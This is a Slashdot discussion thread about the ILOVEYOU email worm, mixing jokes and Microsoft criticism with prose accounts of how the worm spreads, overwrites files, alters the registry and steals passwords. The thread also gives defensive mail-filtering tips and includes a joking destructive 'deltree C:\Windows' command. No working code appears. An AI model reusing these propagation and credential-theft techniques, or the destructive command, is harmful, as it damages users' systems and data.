    These kinds of viruses will continue to proliferate and cause massive disruptions and cost huge amounts of money until several large corporations get together and sue Microsoft (or other mail program manufacturers) for negligence and demand the companys selling the faulty programs pay for the costs.

    The dangers of allowing running of attached programs automatically or even easily is guaranteed to cause just this problem. It will happen. It will be repeated. On a yearly basis now, perhaps, but more likely on a monthly or weekly basis in the future. The _only_ way to stop it from happening is to stop the mail program creators from _having_ these 'features'.

    1. Re:Stopping email viruses. by SuperCujo · · Score: 1

      Lets see while we are suing companies, let's get all the families of people who have been shot and get them to sue the gun companies for producing a gun that can be used to kill someone.

      Sure the guns may have been produced for hunting, but some smart person realised you can kill people with them too...

      Sure MS are partly to blame for leaving the security hole open, but you can't sue them if someone exploits the hole.

      Did someone sue the router makers back when the true internet worm happened?

      --
      --- Can i borrow your Clue-Stick(tm)? I need to go beat a few people with it...
    2. Re:Stopping email viruses. by Znork · · Score: 1

      Well, the analogy isnt too far off really, but it would be closer if a gun company sold a gun they knew would just go off for no real reason at times. In that case it would be negligent too.

      The thing is; the capability to execute content on viewing is not difficult. Yet, a lot of mailers do not include this ability, for the precise reason that it is not a good idea.

      If you _know_ a feature will cause damage, then it may be negligent to include it without a number of warnings that the action is dangerous and with such easy access. It's like handing out a bunch of grenades to kindergarten kids and say 'hey, they pulled the safety out, not us...'

    3. Re:Stopping email viruses. by mpe · · Score: 1

      These kinds of viruses will continue to proliferate and cause massive disruptions and cost huge amounts of money until several large corporations get together and sue Microsoft (or other mail program manufacturers) for negligence and demand the companys selling the faulty programs pay for the costs.

      Rather that before they sue they need to stop using these system. Which in some cases is likely to be a complete reversal of policy.

  48. Linux version by hoss10 · · Score: 2
    > Pine/Elm/Mutt users as always laugh maniacally
    Stop being so arrogant. It's just an executable attachment.

    For a linux version just write a bash script that'll read the users address book and send it on aswell.

    This is one reason NOT to want world domination. In that case it'll spread easily

    ------------------------------------------------ -
    "If I can shoot rabbits then I can shoot fascists" -

    1. Re:Linux version by John+Fulmer · · Score: 2

      > Stop being so arrogant. It's just an executable
      > attachment.

      Er, yes, but Pine/Elm/Mutt etc, do not run attachments automatically, don't include a programming language within the application itself, and aren't really susceptable to this sort of thing.

      Go ahead. Write a bash script. But you would have to be a COMPLETE idiot to run an unknown shell script, or any unknown application, recieved in e-mail. You certainly wouldn't get this kind of instant mass destruction.

      jf
      (Laughing manically!)

    2. Re:Linux version by ptomblin · · Score: 2

      Go ahead. Write a bash script. But you would have to be a COMPLETE idiot to run an unknown shell script, or any unknown application, recieved in e-mail. You certainly wouldn't get this kind of instant mass destruction.

      Need I remind you of all the email viruses that spread precisely because people were complete idiots, and ran unknown applications recieved in email. Take the HAPPY99.EXE virus, for example. My mother (admitted, a bit dim when it comes to computers) got this one, in spite of having been warned numerous times not to click on these things.

      --
      A "freaking free-loading Canadian" stealing jobs from good honest hard working Americans since 1997.

      --
      The next Cmdr Taco duplicate will be ready soon, but subscribers can beat the rush and see it early!
    3. Re:Linux version by weloytty · · Score: 2

      This virus does, in fact, replicate in just the manner you suggest: "you would have to be a COMPLETE idiot to run an unknown shell script"

      That is EXACTLY what is happening. By default, Outlook will NOT run an attachment "automagically". It actually CANNOT be configured to run an attachment automatically, the user HAS to double click it.

    4. Re:Linux version by TomV · · Score: 1
      Er, yes, but Pine/Elm/Mutt etc, do not run attachments automatically, don't include a programming language within the application itself, and aren't really susceptable to this sort of thing.

      Outlook doesn't run attachments automatically - you have to doubleclick them

      Although Outlook does contain a programming language (VBScript) in this case the vbscript that does the damage isn't hosted by Outlook but by the Windows Script Host (a gaping security hole in its own right, but not part of Outlook)

      Still not very impressive tho.

      TomV

    5. Re:Linux version by Orava · · Score: 1

      Ummm, you're missing something. The point is that
      no Linux (or Unix) mail reader is so stupid as
      to run any sort of executable (binary, script, whatever) that the user receives as an attachment. This is not a case of Windows versus Linux, but a case of "stupid mail programs" versus "all other mail programs". So yes, Pine/Elm/Mutt/VM/etc users *can* laugh manically, since those programs don't have stupid security holes. Outlook does.

    6. Re:Linux version by Marcus+Green · · Score: 1

      Versions of *nix including Linux allow you to limit the amount of hard disk space a user occupies (quotas) . Windows NT does not (well all versions up to and including V4 do not). As hard disk space is one of the most important network resources this indicates those versions of NT have a severe limitation as a network server.

      Oh yes Novell and even old IBM lan man had disk quotas.

      Marcus

    7. Re:Linux version by Rob+Wilderspin · · Score: 2

      If you use the preview pane then Outlook does, in fact, "launch" attachments like JPEGs and VB scripts, so all you have to do it click once on the email itself to run this virus. Very user friendly, very virus friendly.

    8. Re:Linux version by finkployd · · Score: 2

      There are a few problems with this:

      1 Find me a Linux mail client that automatically executed bash scripts when a letter is opened.

      2 The worst that said script could do is delete files in the users directory (you aren't logged in as root are you?)

      3. Given #2, how would it spread, it cannot modify system files (like sendmail), so the person would have to intentionally send the message.

      So go ahead and write this virus, try to spread it. I bet it goes nowhere.

      Finkployd

    9. Re:Linux version by YU+Nicks+NE+Way · · Score: 1

      Two words: Gnu Emacs. There's a really cool thing which Emacs does: it allows you to read e-lisp out of any buffer before opening it. And, unlike Outlook, it allows you to select a configuration in your .emacsrc which would execute that lisp code without any user intervention. (Yes, the use of that particular feature is deprecated, but it's still there.)

      Now...since e-lisp is really a reasonably powerful scripting language, don't you think that constitutes a security hole a lot bigger than the one which people keep pretending is in Outlook?

    10. Re:Linux version by finkployd · · Score: 2

      That's true, but #1 is still a pretty good defense. As long as Microsoft lookOut isn't ported to linux, we should be ok. :)

      Finkployd

  49. Xerox getting mauled ... by BadERA · · Score: 1

    Here at Xerox we're getting pounded ... people are such IDIOTS!

    --
    I am, therefore you think.
    1. Re:Xerox getting mauled ... by Jasonv · · Score: 1

      There is something way too ironic about Xerox getting attacked by something that makes copies of itself..... :)

  50. Remember to blame Microsoft! by dmorin · · Score: 1
    For every story you see, for every person that warns you, remember to explain nicely and calmly to them that these things wouldn't happen if Microsoft didn't have an operating systems monopoly. Seriously. People can believe all the MS propaganda and FUD they want, but if you can show them how MS is directly responsible for them getting a virus, maybe that they'll understand.

    -d, laughing with the rest of the Linux users

    1. Re:Remember to blame Microsoft! by Zagato-sama · · Score: 2

      So let me get this right, Microsoft directly e-mails the virus to you, then goes over to your computer and forcibly opens the attachment? Wow! In that case, can they come over and cook me dinner while they're at it? I'd like roast linux fool, medium rare.

    2. Re:Remember to blame Microsoft! by Anonymous Coward · · Score: 1

      Wow. Microsoft is directly responsible? For YOU receiving an attachment in an email from a (most likely) complete stranger, or perhaps from a co-worker with the *obvious* chain-mail/virus/hoax type subject "ILOVEYOU" and accompanying dead giveaway text in the body, and then YOU run the attachment anyhow? I'm only posting this because AOL and Microsoft are tracking posts to this forum and Bill Gates is going to give $1000 to everyone who replies to this topic, and also will save the life of a child. Oh, hey, here's that document you asked me for, don't tell anyone...

    3. Re:Remember to blame Microsoft! by Tony-A · · Score: 1

      Actually, pretty close. Based on the Findings of Fact, the ubiquity of Internet Explorer, and by association Outlook and Outlook Express has been illegaly forced on the OEMs and hence the buying public. It would be interesting to know how many of the worm-enriched email are coming from microsoft.com

    4. Re:Remember to blame Microsoft! by Zagato-sama · · Score: 2

      The findings of fact have nothing to do with this. Microsoft certainly has better things to do then create trojans and virii for it's users. This black helicopter mentality is simply foolish

    5. Re:Remember to blame Microsoft! by Tony-A · · Score: 1

      The Findings of Fact have to do with Microsoft's ability to impose its will on the general desktop computer users. Agreed, Microsoft certainly has better things to do than create trojans and viruses for its users. So then, why isn't Microsoft doing these better things?

    6. Re:Remember to blame Microsoft! by Zagato-sama · · Score: 2

      Could you possibly more vague? What is it that microsoft has to do? Work on the best office suite? Best Web browser? Most popular operating system? Perhaps they should be focusing more on the X-box? Or Whistler?

      Or should they be spearheading breakthrough innovations like bundling software made by someone else, and slapping a Redhat logo on it?

  51. Heise has it covered by laron · · Score: 1

    http://www.heise.de Site is in German, You may want to use this little fish

    --
    "Beware of he who would deny you access to information, for in his heart he dreams himself your master."
  52. It's just E-mail replication... by Stonehand · · Score: 1

    "Who needs Outlook, when Outlook can be broken?"

    {ducks}

    Hrm. How many kids have ever been famous (as youngsters), historically? And would worms be reduced if the actors were *never* mentioned in press, and were basically guaranteed no fame except perhaps in their local justice system?

    --
    Only the dead have seen the end of war.
  53. Microsoft Announcement by Sargent1 · · Score: 3

    Early this morning, in response to the virus, the AP had the following report about Microsoft:

    --

    SEATTLE (AP) -- In response to the "ILOVEYOU" virus, Microsoft has announced that they are changing the name of their popular e-mail program to "Microsoft Lookout!"

    "Really, what else could we do?" said Steve Ballmer, president of Microsoft. "I mean, first the Melissa virus, and then this. Sure, we probably should plug these security holes in Outlook -- whoops, make that Lookout! -- but we felt the name change was the most proactive step we could take short of releasing better programs."

    "At least the virus didn't say 'BILLGATESLOVEYOU'," he added. "Geez, that could've been bad."

    --

    Sargent

    1. Re:Microsoft Announcement by CoderDevo · · Score: 1

      Very funny, Sargent. I titled your fake AP wire "Bill Gates LOVESYOU" and sent it to everyone in my contact list. I hope they do the same.

      Man, this virus was just reported (9:20 AM) on my local news. I received it at 6AM, but did not open the attachment. It smelled less like a hot babe swooning over me and more like a drunk old bum mistaking me for his mother.

    2. Re:Microsoft Announcement by remande · · Score: 2

      Hey...I wonder how hard MS is getting hit with this? Or are they smart enough not to deploy Outlook over there corporate net?

      --

      --The basis of all love is respect

    3. Re:Microsoft Announcement by Black+Parrot · · Score: 2

      > Hey...I wonder how hard MS is getting hit with this? Or are they smart enough not to deploy Outlook over there corporate net?

      Rename it to DOJDROPSLAWSUIT.doc.vbs and see how long msn.com responds to pings.

      --

      --
      Sheesh, evil *and* a jerk. -- Jade
    4. Re:Microsoft Announcement by M.+Silver · · Score: 1
      Microsoft has announced that they are changing the name of their popular e-mail program to "Microsoft Lookout!"

      That's it, I'm suing for trademark infringement... I changed the desktop shortcut to my Outlook to "Microsoft lookOut" the first day I started working here.

      Of course, I suspect even I don't have the right to that mark, since I doubt I beat out all the prior use...

      --

      Slashdot's token middle-aged housewife
  54. Thanks lords, I don't use windows by f5426 · · Score: 1

    One of my coworkers just walked in my office, saying 'what are .vbs documents' ?

    So I looked at it, seeing the obvious VB virus in it.

    Thanksfully, the OS this guy use is OPENSTEP42. Two minutes later, I received it (via gnustep discussion list). Happily, I run Mac OS X Server.

    Cheers,

    --fred

    --

    1 reply beneath your current threshold.

  55. Warning! Warning! by B.+Samedi · · Score: 1

    I can't wait to see traditional media respond to this. "A horrible virus from that insidous Internet thing is out there looking for your children! Details later after some other inane news."

    1. Re:Warning! Warning! by AppyPappy · · Score: 1

      If I run the script, will it download a case of Cokes to my PC or perhaps an A&F gift certificate?

      We are being hammered. I finally shut down the mail client so I wouldn't have to process all the "There's a virus" or "Sorry I didn't know" emails.

      --

      If you aren't part of the solution, there is good money to be made prolonging the problem

  56. A new Outlook? by Ho-Lee-Cow! · · Score: 1

    This is an Outlook trojan. Shocker.

    I'm sure M$ will deny that it even exists, talk about dark hearted hackers...then not bother to fix the bug...I'm sorry, feature that allows it to do this.

    SO glad I use Eudora and Pine.

    --
    In space, no one can hear you moo.
  57. Funniest thing I've read in years! by ToLu+the+Happy+Furby · · Score: 4

    From the MSNBC article:

    "It crashed all the computers," said Daphne Ghesquiere, a Dow Jones spokeswoman in Hong Kong. "You get the message and the topic says ILOVEYOU, and I was among the stupid ones to open it. I got about five at one time and I was suspicious, but one was from Dow Jones Newswires, so I opened it."

    Once the message was opened, Ghesquiere said, it began sending the virus to other e-mail addresses within the Dow Jones computers, blocking people's ability to send and receive e-mail. Victims sometimes received dozens of e-mails, all contaminated.

    "I have no idea how it got through the firewall," Ghesquiere said. "It's supposed to be protected."
    (emphasis mine)

    The acticle even has a screen shot of the oh-so-unsuspicious attachment: "LOVE-LETTER-FOR-YOU.TXT.vbs".

    Now, I'm generally all for grandmothers sending email and not-everyone-should-have-to-be-able-to-configure-X 11-to-use-the-Internet and all of that, but shouldn't there be a law against letting people this ignorant operate important computers in financial institutions??

    I mean, I'm joking of course.

    Or at least I think I'm joking...

    1. Re:Funniest thing I've read in years! by Black+Parrot · · Score: 4

      > I got about five at one time and I was suspicious, but one was from Dow Jones Newswires, so I opened it.

      So, she gets a love letter over a newswire, and that allays her suspicions?

      --

      --
      Sheesh, evil *and* a jerk. -- Jade
    2. Re:Funniest thing I've read in years! by carlos_benj · · Score: 1
      "I have no idea how it got through the firewall," Ghesquiere said. "It's supposed to be protected."

      What gets me is that there were a couple of these quotes from spokespersons. Don't they bother to check with a geek before making statements? Do they expect current blood tests to check for previously unknown pathogens as well? Perhaps they expect their car radio presets to adjust themselves when a new station carrying a format they would like starts broadcasting.

      carlos

      --

      --

      As a matter of fact, I am a lawyer. But I play an actor on TV.

    3. Re:Funniest thing I've read in years! by SeanNi · · Score: 1

      > Do they expect current blood tests to check for previously unknown pathogens as well? Perhaps they expect their car radio presets to adjust themselves when a new station carrying a format they would like starts broadcasting.

      The sad thing is, I know a number of people who would read something like that and go, "now there's an idea! I wonder why thay can't do that?"...

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean
    4. Re:Funniest thing I've read in years! by JayPee · · Score: 1

      I put in my time on the help desk where I work this morning. I had a secretary tell me that we needed a firewall to protect us against this sort of thing. I tried explaining that it probably wouldn't have helped. She told me that it would. She also told me that the firewall where she previously worked protected them against this sort of thing.

      I think I'm going to become a secretary because they're obviously the next step on the IT/IS evolutionary ladder.

      Bitch.

  58. disapointed by Duxup · · Score: 2

    My office got it this morning.
    Of course the "IT staff" referred to it as a "hacker attack" *sigh* Without fail I look in my inbox every time these e-mail "viruses" hit and I'm disappointed with the # of cow-workers whom I communicate with who seemed fairly intelligent to me, up until this very point.

  59. Nasty SOB by CvD · · Score: 1

    It doesn't only send itself via email to everyone on your list, it also (if you use mIRC) sends it to others using DCC. It wipes out files with the following extensions: MP3, MP2, CSS, HTML, JPG, JPEG, JSE, WSH, JS, SCT, HTA, and VBS (may have forgotten some). It'll muck about in your registry. It's not only in the UK... it's sweeping accross the continent as people are logging in and reading their email. Apparently it originated from Manilla, the Philippenes (or so it says in the script itself), but this maybe someone who is making someone else look bad (the email address in the script says: ispyder@mail.com). It also tries to download an executable (1 of 4 different, random executables). It changes IE's Start Page.

    This is someone with a serious grudge against people who use Microsoft mail programs. :-) ... Makes me all the more happy I don't use Windows.

    There's a VSB script I saw to fix most of the damage in the registry, but it looks like the site I got it from has been slashdotted, and I don't have the necessary bandwidth to mirror it (or the original script, which I have too). Email me if you do.

    Cheers!

    Costyn.

    1. Re:Nasty SOB by Ranger+Rick · · Score: 1
      There's a VSB script I saw to fix most of the damage in the registry, but it looks like the site I got it from has been slashdotted, and I don't have the necessary bandwidth to mirror it (or the original script, which I have too).

      That just shows you how evil VB is. The scripts are so crappy and huge that this guy doesn't have the bandwidth to mirror a script! A script!

      <grin>

      :wq!

      --

      WWJD? JWRTFM!!!

  60. Darwinism again by caffeinated_bunsen · · Score: 1

    This is just natural selection in action. People smart enough to use anything but Windoze aren't affected by it, except for mailbox clutter. People who avoid contact with Outlook users aren't affected by it. People who use Windoze and Outlook but are smart enough not to put anything in the hackable-as-hell address book aren't propagating it. People who don't open e-mail attachments without a thought aren't propagating it. Those who have sold their souls (and systems) to Microsoft get screwed by it. Now who can tell me what the moral of this story is?

    --

    Bugrit! Millenium hand and shrimp!
    1. Re:Darwinism again by Saint+Mitchell · · Score: 1

      Then there are those of us who are forced to use Windows @ work but are smart enough not to open atachements from people you don't know. It and Id10T issue, not really an OS issue. Granted Windows makes it easy to for Id10t users to screw themselves by being dumb, but you could have that even in *nix, it'd just be harder to do. If you lock your users down enough they wouldn't be able to change the registry. I prefer to set users up this way, but most clients want their users to have admin rights on the their PC. Then when stuff like this happens I just set back and say "I told you so..."

    2. Re:Darwinism again by Znork · · Score: 1

      Im sorry, but since you qualified that with 'opening attachments from people you dont know'...

      These virii _WILL_ come from people you _DO_ know. They will come from your friends, from your significant other, from you mom, from your IT helpdesk and from your boss.

      The correct phrase is: Smart enough not to EVER EVER open attachments of any kind that can contain ANY sort of executable code, including vbscript, excel, word, etc etc etc.

    3. Re:Darwinism again by Saint+Mitchell · · Score: 1

      Ah...you got me on that. That's what I get for not clicking preview.

  61. What a Maron by Zachary+Kessin · · Score: 2
    The guy put his email at the top of the virust

    rem barok -loveletter(vbe)
    rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines

    The Cure of the ills of Democracy is more Democracy.

    --
    Erlang Developer and podcaster
    1. Re:What a Maron by dbrutus · · Score: 1

      Or he put the email of the kid he hates most...

      I would bet that he's either just too young to charge, it's all a tragic mistake, or he's using this as a strange form of mass resume mailing

      DB

  62. mail server filters by crow · · Score: 2

    I received a copy, but our sysadmins have a virus filter built in to the mail server, so the attachment was purged.

    That should be the standard approach at any site that runs Windows.

    1. Re:mail server filters by ScottDorward · · Score: 1

      We were running AV software on our mail server as well, but the attachment still got through initially as the vendor's pattern files didn't recognise it. AFAIK, none of the AV vendors had released updates to detect LoveLetter until PM, UK time. We got around this by blocking the attachment by name.

      It occurred to me afterwards that a reasonable solution to a lot of these Outlook worms is to quarantine all incoming files matching *.vbs. That way, even if someone sends a legit VB script file through, we can fish it out of the quarantine directory and pass it on to the user. Has anyone else done this and, if so, is anything I'm missing here?

    2. Re:mail server filters by demon · · Score: 1

      That's what I do at work - I'm just using the html-trap.procmail filter, and quarantining all that stuff (.vbs, .shs, Happy99.exe, etc.)... it's so rare that anything really legit goes through like that. Better to be a little too paranoid than not enough, I figure.

      --

      Sam: "That was needlessly cryptic."
      Max: "I'd be peeing my pants if I wore any!"
    3. Re:mail server filters by cthonious · · Score: 1

      that is why you need more democracy in the workplace

      --

      support gun control: take guns from cops
  63. when she received 5 copies ? by hoss10 · · Score: 1
    I got suspicious after 1 copy!

    1) It's an executable attachment (.vbs - Doh!)
    2) It came from a complete stranger

    no.1 was enough though

    I was too curious though - had to have a look with Notepad ;)

    ------------------------------------------------ -
    "If I can shoot rabbits then I can shoot fascists" -

    1. Re:when she received 5 copies ? by mashx · · Score: 1

      Yes, I got suspicious after one, but I had received 54 copies within two minutes, by which time I had mailed our sysadmins to shut down our servers sharpish.

      The problem is that if the preview pane is open in Outlook, the script runs without you even opening the mail. Fortunately I don't use such silly things.. ;-)

      Did like the "i hate go to school" though..

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

      --

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~
    2. Re:when she received 5 copies ? by TummyX · · Score: 1

      Um, attachments, scripts or otherwise don't run in the preview pane.

    3. Re:when she received 5 copies ? by Ishtar · · Score: 1

      You are incorrect. All reports of this I have read (on a Exchange Server mailinglist) have been widthdrawn by the authors.

      All pages from AV companies with descriptions of this virus mention that you have to open the attachment to activate the virus.

      Of course, this is not the only infection path for this one. It also allegedly replaces other vbs, and vbe files with itself. In addition it replaces
      js, jse, css, wsh, sct, hta, jpg, jpeg, mp2 and mp3 files with itself (by additing a .vbs after the name and removing the original).

      $) Ishtar

      --
      Hardware, n.: The parts of a computer system that can be kicked. -- nn.
    4. Re:when she received 5 copies ? by mashx · · Score: 1

      Indeed you are right as this is what I seen as well: I was searching for news of this from about 10:30 CET when it hit us.

      I don't use the preview pane after seeing that attached .vbs files do run automagically in some cases depending on the user settings of IE4/5 and Outlook.

      Having read /. a while, I know enough so that nothing runs automagically on Outlook or IE5 which I am forced to use by the company..

      Just a shame that the company doesn't have time to educate users even about all this Nokia/Ericsson free phone crap that has been going on.

      We'll see tomorrow just how much this has affected, shame I'll be in Ibiza.. ;-)

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

      --

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~
    5. Re:when she received 5 copies ? by apayne · · Score: 1

      This one can. It killed the machine we tested.

      Try it out and find out. :-)

      --
      -apayne
    6. Re:when she received 5 copies ? by vhc · · Score: 1

      Seems like there was a bug in IE 5 where the preview would run a script...I could be wrong, but I remember downloading a Active X control fix several months ago...

  64. The lovechild effect by DavidpFitz · · Score: 1
    This morning alone, I've got 9 warning messages from people, each of which were cc:'d to about 50 others. That makes 450 messages, and think of all the times that someone forawarded it on.

    So, while I'm feeling all clever running Solaris and not Windows, POP servers everywhere are getting a sort of lovechild effect and getting a second battering!

    Wouldn't you think that by now the media would have mentioned something about the evils of VB?

  65. my office was hit by Numeric · · Score: 1

    Luckily, I came into the office late today and everyone here is scrambling to "repair" their system.

    --
    -- ladies and gentlemen we are floating in space!
  66. Whole companies are down by Wizard+of+OS · · Score: 1

    The company I work for (BaaN) suffered from the trojan as well. The email network is down (Exchange) as I type. The problem here: everybody uses one shared addressbook with over 4000 (!!) mail adresses. You can image what happens if the trojan gets hold of this ...

    Most of the correspondence goes through email around here (because we have departments all over the world) so you can image the damage.

    And people ask me why I always ssh to my server to start pine .... *grin*

    --

    --
    If code was hard to write, it should be hard to read
    1. Re:Whole companies are down by reg_nad_kcin · · Score: 1

      Try a company with a 32,000 entry global address book, plus countless (certainly can't count em now! !^)) group addresses and at best count (before the servers were taken down) four users who ignored e-mail, signs, and voicemail (maybe working from home...) and opened the attachment...

      Within 20 minutes the servers were down, and won't be back up until tomorrow AM

      At least the poor saps who are responsible for administering that crap got a catered lunch today so that they can be fed while they work all f*cking night trying to get rid of this...

      Thank God I work with UNIX only...

      The joke here is you can't really be sure whether the virus actually caused the NT srevers to come down... Or if it was just time for a reboot...

  67. Slashdot effect by biglig2 · · Score: 1

    You can talk all you like about sites being slashdotted, but just try connecting to http://www.skyinet.net/ ;-)

    --
    ~~~~~ BigLig2? You mean there's another one of me?
    1. Re:Slashdot effect by Tony-A · · Score: 1

      Somehow, I think skyinet.net got smart and pulled the plug until this gets sorted out. Among other things, the payload resets Internet Explorer's home page to one of four wierd looking pages ending in WIN-BUGSFIX.EXE. Without knowing what I'm talking about, this looks like the setup for some kind of Windows-based DDoS attack. Or, it might simply be a DDoS attack against skyinet.net.

  68. quick fix by iyii · · Score: 1

    To get rid of macro virus "ILOVEYOU" This only works if you haven't gotten to get that bugfix file that set the default IE page go to start menu, find files or folders, make sure checkbox for include subfolders is checked, look for *.vbs once search is complete highlight all files(shift-downarrow), then hit shift-del, say yes to all if prompted go to settings, control panel, internet options, set homepage to use blank. shutdown and reboot it also tries to dcc an executable if you have mirc

    1. Re:quick fix by SgtPepper · · Score: 2

      This will work, it might delete some legit files but it's better then reinstalling. This thing doesn't appear to be THAT bad. Remain calm and do what the man says.

      does anybody know what the MS-BUGFIX.EXE file /does/ anyway?

    2. Re:quick fix by CvD · · Score: 1

      I was wondering that myself. If you look at the code, you'll see it downloads a different MS-BUGFIX.exe (at least, the URL is different), depending on a random number... I can't imagine it doing anything worse than what the original script already does...

    3. Re:quick fix by Chris+Hall · · Score: 5
      does anybody know what the MS-BUGFIX.EXE file /does/ anyway?

      I've not looked thoroughly (just a quick look with a disassembler at parts of it), so the following is incomplete, but among other things, it looks as though it can:

      • Remove policies that prevent passwords from getting stored in the registry
      • Watch every 150ms for a window entitled "Connect To", and when found select a checkbox (probably the one to remember passwords, but I've not got DUN installed on this machine, so I can't check)
      • Grab all passwords stored in the registry, plus details of the machine's IP address, and that of any DNS and WINS servers.
      • Connect using SMTP to smtp.super.net.ph, and send these details (and a few more, e.g. username and machine name) to mailme@super.net.ph
      • Do something (not investigated what) with WinFAT32.exe
      • Add policy to disable registry editing
      • Set Internet Explorer's start page to about:blank

      It seems incredibly poorly written. For example, lots of functions return a char* pointing to a local array. Extra padding arrays are added in an attempt to stop the stack from getting overwritten before the value is used.

    4. Re:quick fix by SeanNi · · Score: 1

      > does anybody know what the MS-BUGFIX.EXE file /does/ anyway?

      I believe that a simple deltree C:\Windows would fix most MS bugs :-)

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean
    5. Re:quick fix by sparkz · · Score: 1

      nah; just had a look - deltree lives under \WINDOWS\COMMAND\

      --
      Author, Shell Scripting : Expert Re
    6. Re:quick fix by Mr_Ceebs · · Score: 1

      For something incredibly poorly written, it's done a lot of damage.

    7. Re:quick fix by otis+wildflower · · Score: 2

      I'd have just overwritten the boot block, fucked up the FATs, and written pseudorandom gibberish on their C: drive... But I'm cruel like that.

      Don't gloat too loudly ;)
      Your Working Boy,

  69. My company was eat up with this damn thing... by ACK!! · · Score: 1

    Listen, how many email virus outbreaks will it take before people get the clue. If you get five emails with the same subject from people who do NOT love you then don't open the crap it is a virus or useless spam!

    It is amazing that someone sits around and takes the time to start this nonsense anyway. God, I hate Outlook and Neanderthal technology it runs on. Still, driving innocent sysadmins insane is not the answer people.

    --
    ACK /ak/ interj. 2. [from the comic strip "Bloom County"] An exclamation of surprised disgust, esp. i
  70. the solution by cthonious · · Score: 1

    Well, to solve this problem I installed some procmail scripts on the server that simply don't allow executable files through the mail system.
    they have to at least archive them first and that will prevent 99% of these sort of nasty viruses from hitting my network.

    I've already gotten five notifications that this file has been blocked.

    using a virus scanner isn't good enough, because all the nastiest ones spread too quickly for the updates to matter (hence all these idiots this time with "we have a virus protection, gee why didn't it work?"

    educating users is absolutely stupid, it will never work, but that is the typical windows way: blame it on the "dumb users" (and they call us nix types elitist. Bah.)

    --

    support gun control: take guns from cops
  71. Who loves yer baby by Liz+Jobber · · Score: 1
    I've just heard from a customer of ours that even at this late hour with the amount of press already given to this misuse of talent, some hapless user has opened the attachment and downed their server.

    Knowing the company, and the size of their address book on the server, I can see this going on for a while yet.

    Anybody seen any problems outside of MS software?

    --
    You can lead milk to a rolling horse, but too many cooks break glass houses.
  72. Can't agree with you more. by Pope · · Score: 2

    Our company IT head sent out a Melissa warning at 12am one day. 3am rolled around and I had 3 copies of it already, two from the same person.
    Ahh, the joys of Eudora on a Mac. I just sat back and laughed.

    Pope

    Freedom is Slavery! Ignorance is Strength! Monopolies offer Choice!

    --
    It doesn't mean much now, it's built for the future.
  73. About ILOVEYOU by TomV · · Score: 5
    first up, I don't like the guy's coding style one bit :)

    So what is it and what does it do?

    It's a VBScript file using the Windows Script Host runtime (wscript.exe), which is on any W98 or W2k systems, plus those with IE4 or higher (plus several other products install it).

    It propagates using OLE Automation against Outlook (any version), propagating both to Lists and individual addresses (internal function spreadtoemail()

    It dicks with the registry to make one of four URL's at skyinet.net ending in /WIN-BUGFIX.exe into IE's start page (IE only as it uses IE's registry entries to do this).

    Replaces any file of types vbs, vbe, js, jse, css, wsh, sct, hta, jpg, jpeg, mp2, mp3 with a copy of itself.

    Places copies of itself into \windows and \windows\system as win32DLL.vbs and MSkernel32.vbs and tweaks the registry so that these are loaded at startup

    builds a webpage and displays it, including a request for the user to disable ActiveX security.

    If you're non Win32 it's totally irrelevant. If you're Win32 but don't use Outlook it'll bugger about with some files but won't propagate. If you're Windows All The Way then it's trouble.

    Not only don't i like his coding style, but he doesn't even realize you can encode vbs files for obfuscation.

    It's hit 340 lists at our firm so far.

    TomV

    1. Re:About ILOVEYOU by Anonymous Coward · · Score: 1

      Actually, you can follow good attachment policy and still get screwed by worms in MS Outlook.

      (I'm not sure if ILOVEYOU requires that you click on anything - you might just need to open the message as with other Outllook worms.)

      The real solution is to Disable Active Scripting in the "Internet" Zone on your machine. This will eliminate JavaScript and VBScript execution in your mail messages. Go ahead and turn off ActiveX while you are at it. (One shop I know of is doing this in a large IE5 rollout specifically because of Outlook's horrid HTML mail handling.)

      The downside to this is that you won't get script and ActiveX on public web pages (without manually adding the site to a 'trusted' list), but in reality that isn't a huge loss because these viruses could spread through web pages just as easily as through mail messages.

    2. Re:About ILOVEYOU by bozone · · Score: 2

      this from securityfocus.com

      "The virus appears to have originated from the Philippines and has been described by one expert as the 'the most beautifully written virus' he's ever seen. "

      some expert...

      --
      "Hatred is the coward's revenge for being intimidated" ...George Bernard Shaw
    3. Re:About ILOVEYOU by senrik · · Score: 1

      It also infects the prefs.js that netscape uses to set itself up...

      creepy shit!

      --
      "the difference between myself and a madman is that I am not mad" -Salvadore Dali
    4. Re:About ILOVEYOU by ItsIllak · · Score: 2
      first up, I don't like the guy's coding style one bit :)

      Give the guy a break, how are you supposed to go about testing code like this, huh?

      Seriously, apart from removing outlook from computers forcefully, what is the step to stopping this? (and it's impossible to remove it forcefully, try it, get a gun, point it at their heads and ask them to, they will complain)

      I assume a visit to http://windowsupdate.microsoft.com will at least stop it from being run automatically?

    5. Re:About ILOVEYOU by Uri · · Score: 2

      "Replaces any file of types ... mp3 with a copy of itself."

      I bet Metallica wish they'd written this! Wait a minute...

  74. Preview pane will NOT activate it.... by Shoden · · Score: 1
    At least not with Outlook 98. It shows up as an attachement, but still has to be clicked on to be activated.

    I had 16 copies of it this morning when I came in, saved a copy to look at in a text editor, and it never activated.

  75. Re:Here is the Visual Basic Script that is "ILOVEY by CvD · · Score: 1

    Weird... I have a slightly different version which has an additional "tag" in the header:

  76. I LOVE YOU TOO! by scumdamn · · Score: 2

    Many people in our company recieved the message, but because of the signs posted everywhere most of us around here didn't open the message. Right now I've got Outlook Express open and logged in to the exchange server through IMAP. I don't know how much that'll help, but I can always hope, can't I? Hell, at least I'm reading the really important email (stuff from my wife) through my ssh session with my server at home. I know Pine isn't susceptible to that shit.

  77. Re:Here is the Visual Basic Script that is "ILOVEY by CvD · · Score: 1

    That'll teach me to preview... what it says is: &lt i hate go to school&gt

  78. mail for the National Institutes of Health is down by imac.usr · · Score: 2

